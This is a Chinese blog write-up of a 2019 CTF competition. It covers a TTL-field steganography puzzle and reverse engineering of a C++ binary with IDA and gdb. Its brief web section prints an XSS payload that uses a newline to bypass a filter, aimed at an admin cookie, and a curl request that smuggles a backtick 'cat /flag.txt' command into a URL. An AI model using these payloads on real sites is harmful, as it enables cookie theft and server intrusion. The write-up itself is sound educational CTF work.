wqpw_blog

= =

View on GitHub
15 April 2019

2019西湖论剑部分wp

by wqpw

web环境关了…
第一个是储存型XSS,可以换行绕过过滤,然后打管理员cookie.

<img src=x onerror
=alert(1)>

然后有一个无回显的命令执行,想到用curl

curl -X GET -i 'http://ip/index.php?`cat /flag.txt`

一个是简单的LFI漏洞利用.

还有一个是.DS_Store泄露.git泄露及zip已知明文攻击加php伪随机数漏洞.

还有一个Google CTF原题.

(其实搞出前两个…)

主要记下差点做出来的2个题. 题目文件

奇怪的TTL字段

题目描述:

我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL值提取了出来,你能看出什么端倪吗?

1

统计后发现只有63,127,191,255四个数,猜测对应00,01,10,11.

处理好进行转换然后放16进制编辑器里,变成这样:

2

然后分析下这个新的文件,发现是六张图片.

3

然后再用foremost等工具处理一下,得到一张完整的图片.

4

扫码得到

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

http://rumkin.com/tools/cipher/vigenere-autokey.php输入key和密文得到flag.

5

easyCpp

ida+f5看了看,用的全是标准库的函数,所以不难.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // r15
  __int64 v4; // rdx
  __int64 v5; // rdx
  __int64 v6; // rdx
  __int64 v7; // rdx
  __int64 v8; // r12
  __int64 v9; // rbx
  __int64 v10; // rax
  __int64 v11; // rdx
  __int64 v12; // rbx
  __int64 v13; // rax
  __int64 v14; // r8
  __int64 v15; // r9
  __int64 v16; // rbx
  char v17; // al
  unsigned int *v18; // rax
  const char **v20; // [rsp+0h] [rbp-190h]
  signed int i; // [rsp+1Ch] [rbp-174h]
  signed int j; // [rsp+20h] [rbp-170h]
  char v23; // [rsp+30h] [rbp-160h]
  char v24; // [rsp+50h] [rbp-140h]
  char v25; // [rsp+70h] [rbp-120h]
  char v26; // [rsp+90h] [rbp-100h]
  char v27; // [rsp+B0h] [rbp-E0h]
  __int64 v28; // [rsp+D0h] [rbp-C0h]
  __int64 v29; // [rsp+F0h] [rbp-A0h]
  char v30[72]; // [rsp+110h] [rbp-80h]
  unsigned __int64 v31; // [rsp+158h] [rbp-38h]

  v20 = argv;
  v31 = __readfsqword(0x28u);
  std::vector<int,std::allocator<int>>::vector(&v23, argv, envp);
  std::vector<int,std::allocator<int>>::vector(&v24, argv, v4);
  std::vector<int,std::allocator<int>>::vector(&v25, argv, v5);
  std::vector<int,std::allocator<int>>::vector(&v26, argv, v6);
  std::vector<int,std::allocator<int>>::vector(&v27, argv, v7);
  for ( i = 0; i <= 15; ++i )
  {
    scanf("%d", &v30[4 * i], v20);
    std::vector<int,std::allocator<int>>::push_back((__int64)&v24, (__int64)&v30[4 * i]);
  } //scanf读入16个数 在数组v[30]和vector v24中
  for ( j = 0; j <= 15; ++j )
  {
    LODWORD(v29) = fib(j);
    std::vector<int,std::allocator<int>>::push_back(&v23, &v29);
  } //v23存入前16个斐波拉契数
  std::vector<int,std::allocator<int>>::push_back((__int64)&v25, (__int64)v30); //v25.push_back(v30[0])
  v8 = std::back_inserter<std::vector<int,std::allocator<int>>>(&v25); //vector<int>::iterator v8 = &v25
  v9 = std::vector<int,std::allocator<int>>::end(&v24); //v9 = v24.end()
  v29 = std::vector<int,std::allocator<int>>::begin(&v24); //v29 = v24.begin()
  v10 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&v29, 1LL); //v10 = v29+1
  std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
    v10, //从v24.begin() + 1
    v9, //到v24.end() 即从第二个到最后一个
    v8, //按push_back顺序存入v25
    (__int64)v30); //main::{lambda(int)#1}的参数之一 相当于对v24第二个到最后一个元素调用main::{lambda(int)#1}
/*
参考 https://blog.csdn.net/jerryjbiao/article/details/7523110
*/
......

transform调用的匿名函数:

__int64 __fastcall main::{lambda(int)#1}::operator() const(_DWORD **a1, int a2)
{
  return (unsigned int)(**a1 + a2); 
}

所以v24是{1,2,3,…,16}的话,现在v25就是{1,3,4,…,17}

接着是

  std::vector<int,std::allocator<int>>::vector(&v28, v9, v11);
  v12 = std::vector<int,std::allocator<int>>::end(&v25);
  v13 = std::vector<int,std::allocator<int>>::begin(&v25);
  std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>(
    (__int64)&v29, // [rbp-A0h]
    v13, 
    v12, 
    (__int64)&v28,  
    v14,
    v15,
    v3);

看了很久也没看懂accumulatemain::{lambda(std::vector<int,std::allocator<int>>,int)#2}干了什么……

所以先看看后面的

  std::vector<int,std::allocator<int>>::operator=(&v26, &v29); //v26 = v29
  std::vector<int,std::allocator<int>>::~vector(&v29);
  std::vector<int,std::allocator<int>>::~vector(&v28);
  if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v26, &v23) )
  { //比较v26和v23(前16个斐波拉契数)是否全部相等
    puts("You failed!");
    exit(0);
  }
  //下面就是输出flag
  //略

所以尝试动态分析,研究v29发生了什么变化.

linux下用gdb加载程序,输入layout asm查看汇编代码,在调用accumulate的指令上下下断点.

6

然后运行并输入1-16,到断点1时查看v29

7

由前面可知$rbp-0xa0的值v29是v24.begin()的值,是地址.

然后执行accumulate之后:

8

可知是把transform后的v25反转一下.
大概是这个意思reverse(v25.begin(),v25.end());v29=v25;
然后v26=v29并且比较v26和v23.

综上,我们需要16个数,满足从第二个数到最后一个数加上第一个数然后反转之后与前16个斐波拉契数一一对应.

于是我们可以写个脚本算一下

def fib(n):
    if n == 0 or n == 1:
        return 1
    return fib(n-2)+fib(n-1)

v23 = [fib(i) for i in range(0,16)][::-1]
v23[1:] = map(lambda x: x-v23[0], v23[1:])
print str(v23).replace(', ','\n')

结果正确

9

总结

七分逆向三分猜
区分代码(人?编译器?)
耐心

tags: blog